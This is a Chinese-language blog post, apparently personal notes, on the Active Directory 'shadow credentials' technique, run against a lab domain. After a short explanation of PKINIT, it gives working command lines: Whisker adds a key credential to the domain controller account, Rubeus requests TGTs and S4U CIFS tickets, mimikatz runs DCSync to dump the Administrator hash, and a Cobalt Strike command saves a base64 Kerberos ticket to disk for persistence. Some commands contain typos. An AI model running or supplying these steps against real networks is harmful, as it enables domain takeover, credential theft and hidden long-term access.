shadow credentials

发布时间 2023-09-14 19:47:53作者: lisenMiller

前言:

修改目标计算机或用户账户的msDS-KeyCredentiallink属性的域内权限维持技术

这个属性能够设置原始公钥.当试图用pkinit进行预认证时,KDC将检查认证用户是否知道匹配的私钥,匹配的话会发送TGT,实现对目标对象的持久和隐蔽的访

攻击思路  

获取高权限用户,通过目标用户添加shadow credential(msDS-keycREDENtialsLINK属性

结合工具获取pfx私钥文件,利用.pfx文件申请目标用户的TGT获取ntlm hash

利用条件

只要让某个账号获得msDS-KeyCredentialLink属性,就能获取账号的TGT和ntlm hash

配置条件

域控版本要在2016以上

安装了ADCS证书服务

攻击原理

1.PKINIT(非对称的预认证方式)

Kerberos认证协议中,TGT通过验证"预认证"的第一步获得.

预认证可以对称方式或非对称方式进行验证

PKINIT是一个Kerberos协议的扩展协议,客户端使用自身私钥对预验证数据进行加密,KDC使用客户端公钥进行解密

当公钥设置成目标的msDs-keyCredentialLink中,生成的pass-the-certificate获取TGT和进一步访问

(就与数字证书进行加解密进行验证)

传统请求TGT的流程

使用对称加密算法

 证书信任模型

公钥基础设施(PKI)允许KDC和客户端使用数字证书交换各自的公钥

1.客户端使用client私钥加密client证书和时间戳发送给KDC

2.服务端使用client公钥验证client证书的合法性以及时间戳是否正常

3.服务端返回TGT和会话密钥(session key)

密钥信任模型

支持无密码身份验证,并且PIKNIT身份验证是基于原始密钥数据的

客户端公钥存储在msDs-keycredentialLink中,是密钥凭证.包含创建日期,所有者的可分辨名称,guid和公钥信息等序列化对象

windows企业版中,客户端登录会使用私钥进行pkinit身份验证:

1.密钥信任模型,域控使用客户端的msds-keycredentiallink中的公钥进行解密预身份验证数据

2.证书信任中,域控验证客户端的证书链,使用其中的公钥进行解密

认证成功后会交换会话密钥

实战测试shadow credentials

攻击思路1:域内机器修改影子凭证

已经拿到高权限用户执行shadow credentials攻击实现权限维持

假设拿到mark的权限具有修改msds-keycredentialslink属性的权限

1.whisker工具修改属性

whisker向域控的msds-keycredentialslink添加指定目标的shadow credentials

#向域控添加msds-keycredentials属性添加shadow credentials

whisker.exe add /target:DC2016$ /domain:redteam.lab /dc:DC2016.redteam.lab

#列出域控具有msds-keycredentialslink属性

whisker.exe list /target:DC2016$ /domain:redteam.lab /dc:DC2016.redteam.lab

#删除msds-keycredentialslink

whisker.exe remove /target:DC2016$ /domian:redteam.lab /dc:DC2016.redtrea.lab

2.利用rubeus申请TGT

rubues.exe asktgt /user:DC2016$ /certificate:[value] /password:"xxx" /domain:redteam.lab /dc:DC2016.redteam.lab /getcredentials /show /nowrap /ptt

票据利用:dcsync攻击

利用mimikatz执行DCSYNC攻击得到administrator的hash值

#执行dcsync攻击获取hash
mimikatz.exe "lsadump::dcsync /domain:redteam.lab /user:redteam\Administrator" "exit"

这里存入的是TGT而不是服务票据,不具有访问权限,dir不能生成,可以申请cifs票据进行访问

票据利用:cifs票据远程访问

rubeus,申请cifs服务票据,访问目标服务

#使用rubues借助S4U2self获取域控上的其他服务票据ST
rubues.exe s4u /self /impersonateuser:REDTEAM\Administrator /altservice:CIFS/DC2016.redteam.lab /ptt /ticket:[value] /nowrap
#获取共享
dir \\DC2016.redteam.lab\c$

 4.1权限维持:根据证书申请TGT

当mark密码被修改时,我们将不在拥有mark的控制权,但是msDS-KeyCredentialLink属性已经被修改,可以通过以下方式恢复权限
由于证书certificate已经获取到(怎么获取到的?),和第2步一致,在任意一台主机中执行命令申请到域控的TGT

rubeus.exe asktgt /user:DC2016$ /certificate:[value] /password:"1fxDXbHQvbZpHm0S" /domain:redteam.lab /dc:DC2016.redteam.lab /getcredentials /show /ptt /nowrap

4.2权限维持:转存为kirbi文件保存使用

cs beacon

powerpick [IO.File]::WriteAllBytes("C:\Users\Public\Documents\ticket.kirbi",[Convert]::FromBase64String("doIFyjCCBcagAwIBBaEDAgEWooIE4zCCBN9hggTbMIIE16ADAgEFoQ0bC1JFRFRFQU0uTEFCoiAwHqADAgECoRcwFRsGa3JidGd0GwtyZWR0ZWFtLmxhYqOCBJ0wggSZoAMCARKhAwIBAqKCBIsEggSHocZIIXUk/6ACZTuoItkyxJUONjPNdRQJQstpJ91GarFnkdIdDtPSTDanprknzPBoksBYVKHo7maejQ2CjSroQKGbgP0Qdb7dw6bvaAlv6t+49bcPz+mRZ3G9a+3Kxm9Q+WN4LYV64uqUhSybqYr2ulf+g+PCrS0sEa+ukRkw8PCFR+fRGbH5vGX/mLPkRfTTX+gsLPwjyHQzV2bnDC/2TNJGN6YdJhua2bE1RG+7id1a5QbV8mIwffZyKf8bGtMhHF3obd05JCMoFIkYVnIhTsUJg1W/c4/J9qiUeFpmtonOUEgNOONTxautRseImuNNifMwZeCgAoLwHHnnnlhmzA0z+t2BnSsOvIAodB24D2uZ6qByWtAsGFRi+EPOpZiTEAyDK+OVHp271WOnWQY4AjO6JoBGxQeUtvdjbGCXenl6yaujIn9R4qvVDs1pYD8DGnCsS3B/qLDe6QTAGPJwQV+Ja74oePLeKHDrsrdlCS6wtdWHQCsY/ecw0B0Z56BxJA2ZvauwwMQHjz0BLUs3oTOmkNvBK0t1iWQincTR2v4j2Dn9YhXj/9ufjKH8MiCR+oMPau6At3lXpM27ROr1vIo2qGUM5HLJNFU3GHaFat/HH+8k55tdDKMdbEhrbMa1fk6NakJWx1A68WhtsaOxJIbDXbZKy6f4AO5QcWKt0BwDK9dVcl903E3Ui0Gd8G0uR6VSp2Iobfd37SIiuAiwS5YTjCkARVZBR+D3a8RGOz3vUr3Yjzg84w2B76oGK4FaLAy6YZjMth/nCBNR/2KBGZ79mLKK+Gxl6o1DZRMPlh3+qeaHE1jgte1koZToEOnvPJA5YPCEnwL6+r5ICMXiGL2T23utv694PAdU1lqHbZwPC9EXQEfvaT0X+5QHeju3OrL0WnmeU3Qpt7auBM2Ao9UhFCD6/1PTNK5XIQ1y9fDCfLsq9CvtVrQAMH7jLeBvlUBbRrETghzR8MzF0NovHW5EUfD6/FMvlC3pEMdKyNPNSxRUWTw4/gnWQovXjLw39VDb+pl2tz5u5mOPQKEVgjalOtmc7thDR9t3iHD5QtTcZUaE4oBxxCFUCbVvYCKpAICaVoQo4i13LCzmESfzv2iVmD4rhiB1YJomjuX8WlfZdaWuOSkNmVMIYzgXNDl1zw+d4TE+j8FILWdPONCT28+x62eWjpDPHV7muPOTbuSMeCBaa4S+KHk1/87ZF37SA0vLR9qWH9pxCluoG4x/huV4rZ6e/JmLfpM3X1Acb/+zOUas89cmPBrab4NgSQ/xld7P3cd+EiGuvj0lkX1vM55H4xSbHoKynlqVPrTM87Jvb9H6b0OCKtDNl7mHvbSHkvfjIzZUnC/zgKzRSDn7/YHtOW5/e4RdfzK8L3djVmUOctrMPBKj+rSeD7S+F4Ww85PvzdhQIZmXhVirtblJOUGggNPvGmsRkv9S5iWOAyd0JgnU9erKB50q7MoORxSJmEcp2WBFIxNBMujpJITZZfNxLQJ6E/sF6uzOcRa8tsH4lijCvJxbWrcYOiS6m9mvEeSvg8wti6OB0jCBz6ADAgEAooHHBIHEfYHBMIG+oIG7MIG4MIG1oBswGaADAgEXoRIEEIcyiVeGxVUDwvB2UuisxJyhDRsLUkVEVEVBTS5MQUKiFDASoAMCAQGhCzAJGwdEQzIwMTYkowcDBQBA4QAApREYDzIwMjIwNTIxMTUxNTI4WqYRGA8yMDIyMDUyMjAxMTUyOFqnERgPMjAyMjA1MjgxNTE1MjhaqA0bC1JFRFRFQU0uTEFCqSAwHqADAgECoRcwFRsGa3JidGd0GwtyZWR0ZWFtLmxhYg=="))

参考文章:

https://forum.butian.net/index.php/share/1607